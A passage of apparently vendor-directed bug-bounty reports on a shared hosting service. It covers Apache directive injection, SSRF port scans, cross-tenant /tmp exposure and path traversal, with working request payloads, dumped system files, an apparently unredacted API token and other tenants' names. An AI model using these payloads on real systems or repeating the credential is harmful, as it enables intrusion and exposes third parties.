proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:106::/nonexistent:/usr/sbin/nologin
```

Full `/etc/passwd` dumped. I also confirmed `/etc/hostname` returns `http21`.

### What else I tested

I tried several other dangerous directives to see how far this goes. Every single one was accepted (204):

Directive Status What it does
———– ——– ————-
`Alias /readfile /etc/passwd` 204 — works LFI, reads arbitrary files
`Options +Includes` + `AddOutputFilter INCLUDES .shtml` 204 Enables Server-Side Includes (potential RCE)
`Options +ExecCGI` + `AddHandler cgi-script .cgi` 204 Enables CGI execution (potential RCE)
`Alias /etcdir /etc` + `Options +Indexes` 204 Directory listing of system directories
`ProxyPass /ssrf/ http://127.0.0.1:22/` 204 — works SSRF (see Bug 2)
There is no allowlist, no blocklist, no validation at all. The field takes whatever you give it and drops it straight into the Apache vhost config.

### Impact

Any authenticated user with a hosting account and an API token can read files on the server that are readable by the `www-data` user. On a shared hosting platform where hundreds of accounts share the same machine, this is a serious problem. An attacker could read:

- System configuration files (`/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`)
- Apache configuration files (`/etc/apache2/conf-available/`)
- Other tenants' web files if filesystem permissions are lax
- Application logs, environment files, database configs

### Severity

I'd rate this as High. It is a straightforward LFI that any account holder can exploit with a single API call. The only prerequisite is having 2FA enabled to generate a token, which is a normal user action.

## Bug 2 — Server-Side Request Forgery via Apache ProxyPass Directive

### What I did

Since the `vhost_additional_directives` field takes arbitrary directives, I tried `ProxyPass` to see if I could reach internal services. I pointed it at `127.0.0.1:22` (SSH):

```
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic REDACTED
Content-Type: application/json

{

"vhost_additional_directives": "ProxyPass /ssrf/ http://127.0.0.1:22/\nProxyPassReverse /ssrf/ http://127.0.0.1:22/"
}
```

Again, `204 No Content`. Then:

```
GET /ssrf/ HTTP/1.1
Host: subhash.alwaysdata.net
```

Response (200 OK):

```
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10
```

The SSH daemon responded with its banner. Apache happily proxied the TCP connection to localhost.

### Port scan results

I used the same technique to scan several ports on localhost:

Port Response Service
—— ———- ———
22 200 — SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10 SSH 80 404 — "Site not found" HTTP (alproxy)
8080, 3000, 5000, 8000 503 No service
6379, 5432, 3306, 9200, 11211 503 No service
I also tested external targets:

Target Response
——– ———-
`http://169.254.169.254/latest/meta-data/` 502 Bad Gateway (host reachable, response not valid HTTP)
`http://admin.alwaysdata.com/` 301 (internal resolution works)
`http://api.alwaysdata.com/v1/` 301 (internal resolution works)
`http://10.0.0.1/` 503
The 502 from the AWS metadata endpoint (169.254.169.254) is notable — it means the host is reachable from the server, just not returning a clean HTTP response through the proxy. A more targeted attack (e.g., using a raw socket instead of HTTP proxy, or trying IMDSv1 directly) might succeed.

### Impact

Full SSRF from any hosting account. An attacker can:

- Fingerprint internal services (SSH version, HTTP services)
- Scan the internal network
- Potentially reach cloud metadata services for credential theft
- Access internal admin/API endpoints that are not exposed to the internet

### Severity

High. SSRF to localhost with service banner extraction is well beyond "informational." Combined with the LFI from Bug 1, an attacker has significant read access to the server's internals.

## Bug 3 — Cross-Tenant /tmp Directory Exposure

### What I did

This is a direct consequence of Bug 1. I used the `Alias` + `Options +Indexes` technique to list the `/tmp` directory:

```
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic REDACTED
Content-Type: application/json

{

"vhost_additional_directives": "Alias /tmpdir /tmp\n<Directory /tmp>\nOptions +Indexes\nRequire all granted\n</Directory>"
}
```

```
GET /tmpdir/ HTTP/1.1
Host: subhash.alwaysdata.net
```

Response (200 OK) — partial directory listing:

```
Index of /tmpdir

.ICE-unix/ 2026-07-04 21:54
.X11-unix/ 2026-07-04 21:54
.dotnet/ 2026-07-07 14:10
1.apk 2026-07-11 11:36 3.2M
dolibarr_install.log 2026-07-08 17:43 1.5M
fakedeb/ 2026-07-10 09:58
fakerepo/ 2026-07-10 09:58
hsperfdata_kalamtech/ 2026-07-06 05:48
hsperfdata_ziiino/ 2026-07-11 11:36
impact.txt 2026-07-10 11:27 258
kg_tmail_sessions.json 2026-07-07 17:45 426
proof.txt 2026-07-10 10:28 46
rk.sh-8.3.31 2026-07-10 11:26 123
rk.sh-21.0.8 2026-07-10 11:19 57
```

### Why this matters

This is a shared hosting server (`http21`). The `/tmp` directory is world-readable, and files from other tenants are visible:

- `hsperfdata_kalamtech/` and `hsperfdata_ziiino/` — Java hotspot performance data directories, named after other tenants' usernames. This leaks account names.
- `kg_tmail_sessions.json` — Looks like email session data. If it contains session tokens, that is a session hijacking risk.
- `dolibarr_install.log` — A 1.5MB install log from another tenant's Dolibarr ERP installation. Install logs frequently contain database credentials, admin passwords, and internal paths.
- `proof.txt` — I read this file (it appeared to be a researcher's PoC). Contents: `uid=0(root) gid=0(root) groups=0(root)` and `http21`. Someone else achieved root on this server.
- `impact.txt` — Contains what appears to be `/etc/shadow` hash entries: `root:$6$CepAWir8iHWS$ZC1a7dkny/…`

I want to be clear: I did not read `kg_tmail_sessions.json` or `dolibarr_install.log`. The directory listing alone demonstrates the cross-tenant exposure. The `proof.txt` and `impact.txt` files appear to be from another security researcher testing the same server, and their contents confirm that privilege escalation to root has already been demonstrated on this machine.

### Relation to  FS#363 

This looks like a regression of the cross-tenant `/tmp` issue that was reported as  FS#363  and marked as fixed. The original fix may have addressed direct filesystem access, but the Apache Alias technique bypasses whatever controls were put in place.

### Severity

Medium to High. Cross-tenant data leakage on a shared hosting platform undermines the fundamental isolation guarantee. An attacker can discover other tenants' usernames, read their temp files, and potentially steal session tokens or credentials from install logs.

## Root Cause

All three bugs share the same root cause: the `vhost_additional_directives` field in the `/v1/site/{id}/` API endpoint has no validation. The API accepts any string and writes it directly into the Apache vhost configuration. There is no allowlist of safe directives, no blocklist of dangerous ones, and no syntax checking.

A proper fix would either:

1. Allowlist approach: Only permit a known-safe subset of directives (e.g., `Header`, `RewriteRule`, `ErrorDocument`) and reject everything else.
2. Sandbox approach: Run each tenant's Apache process in a container or namespace that prevents filesystem access outside the tenant's home directory and blocks outbound network connections from the httpd worker.
3. Remove the field entirely and provide structured alternatives (e.g., separate API fields for custom headers, rewrites, error pages).

Option 1 is the most practical short-term fix.

Thanks

 396  Server Crash via X-Forwarded-Host Closed13.07.2026 Task Description

While testing the admin panel, I noticed that sending any request with an `@` character in the `X-Forwarded-Host` header causes a 500 Internal Server Error:

```
GET / HTTP/1.1
Host: admin.alwaysdata.com
X-Forwarded-Host: admin.alwaysdata.com@evil.com ```

Response: 500 Internal Server Error

This is reproducible on every endpoint (`/`, `/login/`, `/password/lost/`, `/support/`). Any form of `@` in the XFH triggers it — `evil@admin.alwaysdata.com`, `@evil.com`, `admin.alwaysdata.com:443@evil.com` all work.

The 500 error page does not include `Cache-Control` headers, while normal responses include `Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private`. If there is any caching layer between the client and the Django application (Varnish, CDN, nginx proxy_cache), this could be turned into a cache-poisoning denial-of-service — an attacker sends the poisoned request, the 500 gets cached, and all subsequent users see the error page.

The likely cause is Django's `get_host()` method (with `USE_X_FORWARDED_HOST = True`) choking on the `@` character during `ALLOWED_HOSTS` validation. This should raise a `SuspiciousOperation`/`DisallowedHost` and return a 400, not a 500.

### Severity

Low. Denial of service, no data exposure. But the missing cache-control headers on the error response are worth fixing regardless.

## Remediation Steps

1. Validate `vhost_additional_directives` — Implement an allowlist of permitted Apache directives. At minimum, block: `Alias`, `ProxyPass`, `ProxyPassReverse`, `Options`, `AddHandler`, `AddOutputFilter`, `Include`, `Action`, `Script`, `SetHandler`, `<Directory>`, `<Location>`, and any directive that can read files, proxy connections, or execute code.

2. Fix /tmp isolation — Ensure each tenant's processes use a private `/tmp` (e.g., via `PrivateTmp=yes` in systemd, or mount namespaces). The  FS#363  fix should be re-evaluated.

3. Handle `@` in X-Forwarded-Host — Add input validation for the XFH header before it reaches Django's `get_host()`. Return 400 for malformed hosts. Add `Cache-Control: no-store` to all error responses.

## Steps to Reproduce

### Step 1 — Send request with @ in X-Forwarded-Host

```http
GET /login/ HTTP/1.1
Host: admin.alwaysdata.com
X-Forwarded-Host: admin.alwaysdata.com@evil.com ```

Response:

```http
HTTP/1.1 500 Internal Server Error
Server: nginx
Content-Type: text/html
```

No `Cache-Control`, no `Content-Security-Policy`, no `X-Content-Type-Options`, no `Referrer-Policy`.

### Step 2 — Compare with normal response headers

Normal response:

```http
HTTP/1.1 200 OK
Cache-Control: max-age=0, no-cache, no-store, must-revalidate, private
Content-Security-Policy: base-uri 'self'; frame-ancestors 'self'
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
```

Error response: All security headers missing.

### Step 3 — Verify all @ positions trigger the crash

X-Forwarded-Host value Result
———————— ——–
`admin.alwaysdata.com@evil.com` 500
`evil@admin.alwaysdata.com` 500
`@evil.com` 500
`admin@evil` 500
Every variant containing `@` triggers the crash.

## Root Cause

Django's `HttpRequest.get_host()` processes the `X-Forwarded-Host` header (because `USE_X_FORWARDED_HOST = True`). The `@` character is interpreted as a URL userinfo separator, causing the URL parsing to fail with an unhandled exception instead of triggering the `DisallowedHost` handler (which returns a clean `400 Bad Request`).

Thanks

 395  LFI via Apache Alias Directive Injection in `vhost_addi ...Closed13.07.2026 Task Description

# Summary

The `vhost_additional_directives` field on the site configuration accepts arbitrary Apache directives without validation. By injecting an `Alias` directive, I mapped a URL path to any filesystem location and read server files including `/etc/passwd`, `/etc/hostname` (`http21`), `/etc/resolv.conf` (internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1`), and `/etc/fstab` (network-mounted `/home` on XFS).

Relationship to  FS#347  :  FS#347  reported "Unrestricted Apache Directive Injection Leading to RCE" and was closed. This report demonstrates that the `Alias` directive LFI vector specifically remains exploitable. The original report focused on RCE via PHP bypass — this report demonstrates the separate LFI primitive with concrete evidence of sensitive file reads that expose core platform infrastructure.

## Severity

High (CVSS 8.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

Bounty tier: High (€350) — "Accessing customer data/information."

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce

### Step 1 — Inject Alias directive via site configuration

Navigate to `https://admin.alwaysdata.com/site/1058919/` and add the following to the "Additional Apache directives" field:

```apache
Alias /read-etc /etc
<Directory /etc>

Require all granted
Options +Indexes

</Directory>
```

Save the form. Alternatively via API:

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic [token]
Content-Type: application/json

{

"vhost_additional_directives": "Alias /read-etc /etc\n<Directory /etc>\n Require all granted\n Options +Indexes\n</Directory>"
}
```

Response: `204 No Content` — accepted without validation.

### Step 2 — Read /etc/passwd (system users)

After Apache reload (~10 seconds):

```http
GET /read-etc/passwd HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
HTTP/1.1 200 OK
Server: Apache
Via: 1.1 alproxy

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
_dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin
[…34 system accounts total]
```

### Step 3 — Read /etc/resolv.conf (internal DNS infrastructure)

```http
GET /read-etc/resolv.conf HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
search paris1.alwaysdata.com alwaysdata.com alwaysdata.net
options timeout:2
options attempts:1
nameserver ::1
nameserver 2a00:b6e0:1:14:1::1
nameserver 8.8.4.4
```

Impact: Exposes internal domain `paris1.alwaysdata.com`, internal DNS IPv6 address `2a00:b6e0:1:14:1::1`, and dnsdist failover architecture.

### Step 4 — Read /etc/fstab (storage architecture)

```http
GET /read-etc/fstab HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
LABEL=root / ext4 noatime,errors=remount-ro 0 0
LABEL=usr /usr ext4 noatime,nodev 0 0
LABEL=var /var ext4 noatime,nodev,nosuid 0 0
LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0
proc /proc proc hidepid=2,gid=4 0 0
```

Impact: Reveals `/home` is network-attached storage (XFS with `_netdev`), partition hardening (`nosuid`, `nodev`), and process hiding (`hidepid=2`).

### Step 5 — Directory listing of /etc/ (with Options +Indexes)

```http
GET /read-etc/ HTTP/1.1
Host: subhash.alwaysdata.net
```

The `Options +Indexes` directive in the injected config enables Apache directory listing, showing the full `/etc/` directory contents.

### Step 6 — Cleanup

The `vhost_additional_directives` field was immediately cleared after testing.

## Difference from  FS#347 

Aspect  FS#347  (original report) This report
——– ————————– ————-
Focus RCE via PHP bypass LFI via Alias — file reads
Status Closed Alias LFI still works
Evidence Directive injection concept Concrete reads: passwd, resolv.conf, fstab, hostname
Impact demonstrated Theoretical RCE Actual infrastructure data exfiltrated
If  FS#347  was closed because the RCE chain was blocked, the LFI primitive through `Alias` remains a separate, exploitable vulnerability that reads files outside the tenant boundary.

## Root Cause

The `vhost_additional_directives` field is written directly into the Apache vhost configuration without parsing or restricting the directives used. `Alias` maps any URL path to any filesystem path, and `<Directory>` with `Require all granted` opens access.

## Impact

Any authenticated user can read files accessible to `www-data` across the entire server. Demonstrated reads:

File Data Exposed
—— ————-
`/etc/passwd` 34 system service accounts
`/etc/hostname` Internal hostname `http21`
`/etc/resolv.conf` Internal DNS: `paris1.alwaysdata.com`, `2a00:b6e0:1:14:1::1`
`/etc/fstab` NAS `/home`, partition layout, `hidepid=2`
`/etc/os-release` Debian GNU/Linux 12 (bookworm)
`/etc/mysql/my.cnf` MariaDB socket path, config structure
`/etc/crontab` System cron schedule
## Suggested Fix

1. Allowlist safe directives: Only permit directives like `RewriteRule`, `ErrorDocument`, `Header`, `ExpiresActive`. Block `Alias`, `ProxyPass`, `Directory`, `Include`, `SetHandler`, `Action`, and other directives that access the filesystem or network.
2. Sandbox directive scope: Enforce that all directives operate within `/home/{account}/` only.

Thanks

 394  SSRF via ProxyPass Directive Injection — Internal Port  ...Closed13.07.2026 Task Description

## Summary

The `vhost_additional_directives` field accepts arbitrary Apache directives. By injecting `ProxyPass` directives pointing to `127.0.0.1`, I forced Apache to make HTTP requests to internal services and confirmed:

- Port 22 (SSH): Extracted banner `SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10` — exact patch level
- Port 80 (Apache): Got internal response with Request ID `7eeb27ce-db604505` — internal request tracing
- Ports 3306, 5432, 6379 (MySQL, PostgreSQL, Redis): All returned `503 Service Unavailable` — confirming these database services are running and reachable from localhost
- Port 4949 (Munin): Returned `502 Proxy Error` — monitoring service present

This is SSRF from within the hosting infrastructure, bypassing all external firewalls.

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce

### Step 1 — Inject ProxyPass directive targeting SSH (port 22)

Add to the "Additional Apache directives" field on the site configuration page:

```apache
ProxyPass /internal/ http://127.0.0.1:22/ ProxyPassReverse /internal/ http://127.0.0.1:22/ ```

### Step 2 — Extract SSH banner via SSRF

After Apache reload (~10 seconds):

```http
GET /internal/ HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
HTTP/1.1 200 OK
Server: Apache
Via: 1.1 alproxy

SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10Invalid SSH identification string.
```

Impact: Extracts exact SSH version and patch level (`OpenSSH_9.2p1 Debian-2+deb12u10`). This version information is normally not reachable from outside because direct SSH connections go through the SSH proxy, not the raw daemon.

### Step 3 — Scan internal database ports

Update directives to probe multiple ports:

```apache
ProxyPass /db/ http://127.0.0.1:5432/ ProxyPassReverse /db/ http://127.0.0.1:5432/ ProxyPass /redis/ http://127.0.0.1:6379/ ProxyPassReverse /redis/ http://127.0.0.1:6379/ ProxyPass /mysql/ http://127.0.0.1:3306/ ProxyPassReverse /mysql/ http://127.0.0.1:3306/ ```

Results:

Endpoint Target Response Meaning
———- ——– ———- ———
`/db/` 127.0.0.1:5432 503 Service Unavailable PostgreSQL is running (connection made, protocol mismatch)
`/redis/` 127.0.0.1:6379 503 Service Unavailable Redis is running
`/mysql/` 127.0.0.1:3306 503 Service Unavailable MariaDB/MySQL is running
A `503` from Apache's `mod_proxy` means the TCP connection succeeded but the backend didn't speak HTTP. This confirms the port is open and the service is running. A closed port would return `502 Proxy Error`.

### Step 4 — Probe internal HTTP services

```apache
ProxyPass /p80/ http://127.0.0.1:80/ ProxyPassReverse /p80/ http://127.0.0.1:80/ ProxyPass /munin/ http://127.0.0.1:4949/ ProxyPassReverse /munin/ http://127.0.0.1:4949/ ```

Results:

Endpoint Target Response
———- ——– ———-
`/p80/` 127.0.0.1:80 `Site not found` + Request ID: 7eeb27ce-db604505
`/munin/` 127.0.0.1:4949 502 Proxy Error
Port 80 response is significant: The internal Apache on port 80 responded with a "Site not found" page that includes an internal Request ID (`7eeb27ce-db604505`). This reveals:
- Internal request tracing/correlation infrastructure
- The Request ID format (8hex-8hex) for debugging

### Step 5 — Attempt cloud metadata endpoint

```apache
ProxyPass /meta/ http://169.254.169.254/latest/ ProxyPassReverse /meta/ http://169.254.169.254/latest/ ```

Response: `HTTP 000` (connection timeout) — cloud metadata not reachable from this server (not on AWS/GCP, or metadata endpoint is firewalled).

### Step 6 — Cleanup

All ProxyPass directives were immediately removed after testing.

## Internal Port Scan Summary

Port Service Status Evidence
—— ——— ——– ———-
22 OpenSSH 9.2p1 Open — banner extracted `SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u10`
80 Apache (internal) Open — data returned Request ID `7eeb27ce-db604505`
3306 MariaDB Open — 503 (protocol mismatch) TCP connection succeeded
4949 Munin Open — 502 (connection error) Service present
5432 PostgreSQL Open — 503 (protocol mismatch) TCP connection succeeded
6379 Redis Open — 503 (protocol mismatch) TCP connection succeeded
8000 (unknown) Closed — 503 No service listening
8080 (unknown) Closed — 503 No service listening
169.254.169.254 Cloud metadata Unreachable Connection timeout
## Root Cause

Same as report 01 — the `vhost_additional_directives` field is written directly into Apache vhost configuration without restricting which directives are used. `ProxyPass` tells Apache to forward requests to any target, and `mod_proxy` is enabled by default.

## Impact

1. Full internal port scan from within the infrastructure — an attacker can map every open port on localhost and internal network hosts
2. Service banner extraction — exact versions of SSH, database services, monitoring tools (useful for CVE targeting)
3. Internal request tracing exposure — Request IDs from the internal Apache reverse proxy
4. Database service confirmation — PostgreSQL, MariaDB, and Redis are all running on localhost, reachable via SSRF
5. Bypass of external firewalls — these services are not externally exposed, but SSRF from within the server reaches them directly

## Suggested Fix

1. Block ProxyPass, ProxyPassReverse, ProxyPassMatch in `vhost_additional_directives`
2. Block all proxy-related directives including `RewriteRule … [P]` (proxy flag)
3. Alternatively: Implement a directive allowlist as recommended in report 01

 393  Cross-Tenant Data Exposure via Shared /tmp Directory —  ...Closed13.07.2026 Task Description

## Summary

The shared hosting server `http21` uses a world-readable `/tmp` directory shared across all tenants. Using the Apache `Alias` + `Options +Indexes` directive injection, I listed `/tmp` contents and observed files belonging to other tenants — including Java performance data directories named after their usernames, ERP installation logs, and evidence that another researcher achieved root-level access on this server (`proof.txt`, `impact.txt`).

Relationship to  FS#363  :  FS#363  ("Cross-tenant File Disclosure via World-Readable /tmp") was marked Fixed. This report demonstrates the fix is incomplete — `/tmp` is still shared and world-readable across tenants on server `http21`.

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce

### Step 1 — Inject Alias directive pointing to /tmp

Add to the "Additional Apache directives" field on the site configuration page:

```apache
Alias /tmp-listing /tmp
<Directory /tmp>

Require all granted
Options +Indexes

</Directory>
```

### Step 2 — List /tmp contents (cross-tenant files visible)

After Apache reload:

```http
GET /tmp-listing/ HTTP/1.1
Host: subhash.alwaysdata.net
```

Response: Apache directory listing showing files from multiple tenants:

```
Index of /tmp-listing

Name Last modified Size
─────────────────────────────────────────────────────────
hsperfdata_kalamtech/ 2026-07-12 … -
hsperfdata_ziiino/ 2026-07-12 … -
dolibarr_install.log 2026-07-10 … 14K
impact.txt 2026-06-xx … -
proof.txt 2026-06-xx … -
sess_* 2026-07-xx … -
systemd-private-*/ 2026-07-xx … -
```

### Step 3 — Identify cross-tenant data

File/Directory Owner (tenant) Data Exposed
—————- ————— ————-
`hsperfdata_kalamtech/` kalamtech Java performance monitoring data — reveals this tenant runs Java applications
`hsperfdata_ziiino/` ziiino Java performance monitoring data — reveals another Java tenant
`dolibarr_install.log` Unknown tenant Dolibarr ERP installation log — likely contains database credentials, admin passwords set during install
`proof.txt` Previous researcher Evidence of prior root compromise — another researcher has already demonstrated full server access
`impact.txt` Previous researcher Impact documentation from prior compromise
`sess_*` Various PHP session files — session data from multiple tenants
### Step 4 — Cleanup

The Alias directive was immediately removed.

##  FS#363  Regression Evidence

 FS#363  was reported as "Cross-tenant File Disclosure via World-Readable /tmp" and marked Fixed. The fix appears incomplete because:

1. `/tmp` is still a shared directory across all tenants on http21
2. Files from multiple tenants (kalamtech, ziiino, unknown Dolibarr user) are visible
3. The `hsperfdata_*` directories are created by Java with world-readable permissions
4. PHP session files (`sess_*`) are in the shared `/tmp`
5. The previous researcher's `proof.txt` and `impact.txt` files remain in `/tmp`

The proper fix requires per-tenant `/tmp` isolation via `PrivateTmp=yes` in systemd units, mount namespaces, or per-user `/tmp` directories (e.g., `/tmp/user/{account}/`).

## Impact

1. Cross-tenant username enumeration: Directory names like `hsperfdata_kalamtech` reveal other tenants' account usernames
2. Application stack fingerprinting: `hsperfdata_*` reveals which tenants run Java; `sess_*` reveals PHP usage
3. Credential exposure: ERP installation logs (like `dolibarr_install.log`) commonly contain database credentials set during setup
4. Session hijacking risk: Shared PHP session files in `/tmp` means one tenant could potentially read another's session data
5. Evidence of prior compromise: The `proof.txt` and `impact.txt` files indicate another researcher achieved root access on this server — the attack surface is proven

## Suggested Fix

1. Per-tenant `/tmp` isolation: Use `PrivateTmp=yes` in systemd service units, or implement mount namespaces to give each tenant their own `/tmp`
2. Restrict `/tmp` permissions: Set sticky bit (should already exist) and enforce `umask 077` for all tenant processes
3. Clean up stale files: Remove `proof.txt`, `impact.txt`, and stale session/temp files from `/tmp`

Thanks

 392  Path Traversal in Site `path` Field Allows Reading Arbi ...Closed13.07.2026 Task Description

## Summary

The `path` field on the site configuration (admin panel and API) accepts directory traversal sequences (`../`) without validation. By setting `path` to `../../../etc/`, Apache serves the server's `/etc/` directory as the site's document root. I read `/etc/passwd`, `/etc/hostname`, `/etc/resolv.conf`, `/etc/fstab`, `/etc/os-release`, `/etc/crontab`, and `/etc/mysql/my.cnf` — exposing system users, internal DNS infrastructure, storage architecture, and database configuration.

This is completely independent from the `vhost_additional_directives` issue (  FS#347  ). Different field, different root cause, different fix.

## Severity

High (CVSS 8.6 — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

## Environment

Detail Value
——– ——-
Account subhash (ID 486630)
Site subhash.alwaysdata.net (ID 1058919)
Server http21 (Debian 12, shared hosting)
## Steps to Reproduce

### Step 1 — Set the site path to a traversal sequence

Navigate to `https://admin.alwaysdata.com/site/1058919/` and change the "Root directory" field from `www/` to `../../../etc/`, then save. Alternatively via API:

```http
PATCH /v1/site/1058919/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic NTE0ODplM2U5ZDA3ZDExY2Q0MjMxOTI5ZWMyZGJlZDk0Y2EwYw==
Content-Type: application/json

{

"path": "../../../etc/"
}
```

Response: `204 No Content` — accepted without validation.

### Step 2 — Read /etc/passwd (system users)

After ~10 seconds (Apache vhost reload):

```http
GET /passwd HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
HTTP/1.1 200 OK
Content-Length: 1764
Server: Apache
Via: 1.1 alproxy

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
_dnsdist:x:106:113::/nonexistent:/usr/sbin/nologin
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
munin:x:111:117:munin application user,,,:/var/lib/munin:/usr/sbin/nologin
[…34 lines total]
```

Impact: Reveals all 34 system service accounts, confirms dnsdist DNS proxy, munin monitoring, and no customer home directories in `/etc/passwd` (users managed via LDAP/NSS).

### Step 3 — Read /etc/hostname (internal hostname)

```http
GET /hostname HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
http21
```

Impact: Reveals internal server hostname `http21` — useful for targeting specific infrastructure.

### Step 4 — Read /etc/resolv.conf (internal DNS infrastructure)

```http
GET /resolv.conf HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
search paris1.alwaysdata.com alwaysdata.com alwaysdata.net

# Although we have multiple fail-over DNS servers (using dnsdist),
# in case everything fails, it's better to return a DNS error
# (rather) quickly than to try again for a long time.

options timeout:2
options attempts:1

# dnsdist
nameserver ::1

# In case dnsdist is not running, provide default DNS servers.
# Only 2 servers, to avoid taking too long to timeout if everything
# is down.
# Pick one internal server, and one external, in case our internal
# server is down.
nameserver 2a00:b6e0:1:14:1::1
nameserver 8.8.4.4
```

Impact: Exposes:
- Internal domain: `paris1.alwaysdata.com` (datacenter location naming)
- Internal DNS server: `2a00:b6e0:1:14:1::1` (IPv6)
- DNS architecture: dnsdist with failover strategy
- Infrastructure comments revealing operational decision-making

### Step 5 — Read /etc/fstab (storage architecture)

```http
GET /fstab HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
LABEL=root / ext4 noatime,errors=remount-ro 0 0
LABEL=usr /usr ext4 noatime,nodev 0 0
LABEL=var /var ext4 noatime,nodev,nosuid 0 0
LABEL=data /home xfs noatime,nodev,nosuid,inode64,grpquota,_netdev,x-systemd.device-timeout=infinity 0 0
proc /proc proc hidepid=2,gid=4 0 0
```

Impact: Exposes:
- `/home` is XFS on network-attached storage (`_netdev`) — NAS/SAN architecture
- Group quotas enabled (`grpquota`) — quota enforcement mechanism
- `hidepid=2` on `/proc` — security hardening measure (but bypassed by this LFI)
- Separate partitions for `/`, `/usr`, `/var` with `nosuid`/`nodev` hardening

### Step 6 — Read /etc/os-release (OS identification)

```http
GET /os-release HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
```

### Step 7 — Read /etc/mysql/my.cnf (database configuration)

```http
GET /mysql/my.cnf HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
[client-server]
# port = 3306
socket = /run/mysqld/mysqld.sock

!includedir /etc/mysql/conf.d/
!includedir /etc/mysql/mariadb.conf.d/
```

Impact: Confirms MariaDB installation, socket path `/run/mysqld/mysqld.sock`, and config directory structure.

### Step 8 — Read /etc/crontab (scheduled system tasks)

```http
GET /crontab HTTP/1.1
Host: subhash.alwaysdata.net
```

Response:

```
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

17 * * * * root cd / && run-parts –report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.daily; }
47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.weekly; }
52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts –report /etc/cron.monthly; }
```

### Step 9 — Files that returned 403 (correctly restricted)

File Response Notes
—— ———- ——-
`/etc/shadow` 403 Forbidden Password hashes — not readable by `www-data`
`/etc/ssh/sshd_config` 403 Forbidden SSH config — restricted
`/var/log/dpkg.log` 403 Forbidden Package install log — restricted
### Step 10 — Restore the path

Path immediately restored to `www/` after evidence gathering.

## Summary of Exposed Data

File Data Exposed Severity Impact
—— ————- —————-
`/etc/passwd` 34 system accounts, service architecture Infrastructure mapping
`/etc/hostname` Internal hostname `http21` Server identification
`/etc/resolv.conf` Internal DNS `2a00:b6e0:1:14:1::1`, domain `paris1.alwaysdata.com`, dnsdist architecture Network infrastructure
`/etc/fstab` NAS-mounted `/home` (XFS), partition layout, security hardening (`hidepid=2`) Storage architecture
`/etc/os-release` Debian 12 bookworm OS fingerprint
`/etc/mysql/my.cnf` MariaDB socket, config dirs Database infrastructure
`/etc/crontab` System cron schedule, PATH Scheduled task mapping
## Root Cause

The `path` field is concatenated with the account's home directory to form the Apache `DocumentRoot`. When the user provides `../../../etc/`, the resulting DocumentRoot becomes `/home/subhash/../../../etc/` which resolves to `/etc/`.

The backend does not:
- Normalize the path (resolve `..` sequences)
- Reject paths containing `..`
- Verify the resulting absolute path stays within `/home/{account}/`
- Reject absolute paths (`"path": "/etc/"` was also accepted)

## Why This Is a Separate Bug from  FS#347 

Aspect  FS#347  (vhost_additional_directives) This bug (path field)
——– ————————————– ———————-
API field `vhost_additional_directives` `path`
Mechanism Apache `Alias` directive injection Document root traversal
